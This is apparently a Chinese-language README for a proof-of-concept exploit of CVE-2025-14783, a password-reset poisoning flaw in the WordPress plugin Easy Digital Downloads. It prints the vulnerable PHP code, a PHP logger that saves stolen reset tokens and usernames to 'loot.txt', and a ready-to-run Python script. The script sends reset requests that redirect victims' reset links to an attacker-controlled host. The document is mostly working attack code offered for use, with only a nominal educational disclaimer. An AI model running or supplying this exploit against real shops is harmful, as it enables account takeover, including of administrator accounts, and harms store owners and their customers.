“信任是最可利用的安全缺陷。”
本仓库包含针对 CVE-2025-14783 的可运行概念验证(PoC),该漏洞是 WordPress 插件 Easy Digital Downloads (EDD)(版本 <= 3.6.2)中的一个严重 密码重置投毒 漏洞。
由于在密码重置请求过程中对 edd_redirect 参数缺乏验证,未经身份验证的远程攻击者可以注入恶意域名。这导致商店发送的合法电子邮件中包含指向攻击者服务器的重置链接,从而泄露访问令牌 (key),并允许完全接管账户(Account Takeover, ATO),甚至包括管理员账户。
漏洞位于构建电子邮件中重置 URL 的函数内部。有问题的代码使用 esc_url_raw() 对输入进行“净化”,但 未验证目标主机。
// 开发者曾以为 esc_url_raw 足够安全……致命错误。
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- 注入点
),
$message
);
通过控制 $_POST['edd_redirect'],我们控制了生成 URL 的基础。
requests 库(pip install requests)将以下 PHP 脚本 (logger.php) 上传到你的恶意服务器,以拦截受害者的令牌。
<?php
// logger.php - 捕获令牌和用户
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "系统维护中,请稍后重试。"; // 基础的社会工程学
}
?>
编辑 exploit.py 脚本,填入目标信息并执行。
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 配置
TARGET_URL = "http://vulnerable-shop.com/" # 商店根 URL
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] 目标: {TARGET_URL}")
print(f"[*] 受害者: {VICTIM_EMAIL}")
print(f"[*] 投毒链接: {ATTACKER_HOST}")
# 用于注入重定向的 Payload
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# 向主端点(或 EDD 监听 POST 的位置)发送请求
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] 成功!已发送投毒邮件。")
print("[*] 现在等待受害者点击邮件中的链接。")
print("[*] 检查你服务器上的 'loot.txt' 以获取令牌。")
else:
print(f"[-] 失败。状态码: {r.status_code}")
except Exception as e:
print(f"[!] 错误: {e}")
if __name__ == "__main__":
poison_reset_link()
| 机密性 | 完整性 | 可用性 |
|---|---|---|
| 高 🟥 | 高 🟥 | 低 🟩 |
成功攻击者可以:
本软件仅用于教育目的和安全研究。
作者(ZeroEthical)不对任何滥用此信息的行为负责。
未经事先书面同意攻击目标是违法的,可能导致严重的法律后果。
请在受控环境中自行承担风险使用。
Powered by ZeroEthical
"我们不修复漏洞,我们演示漏洞。"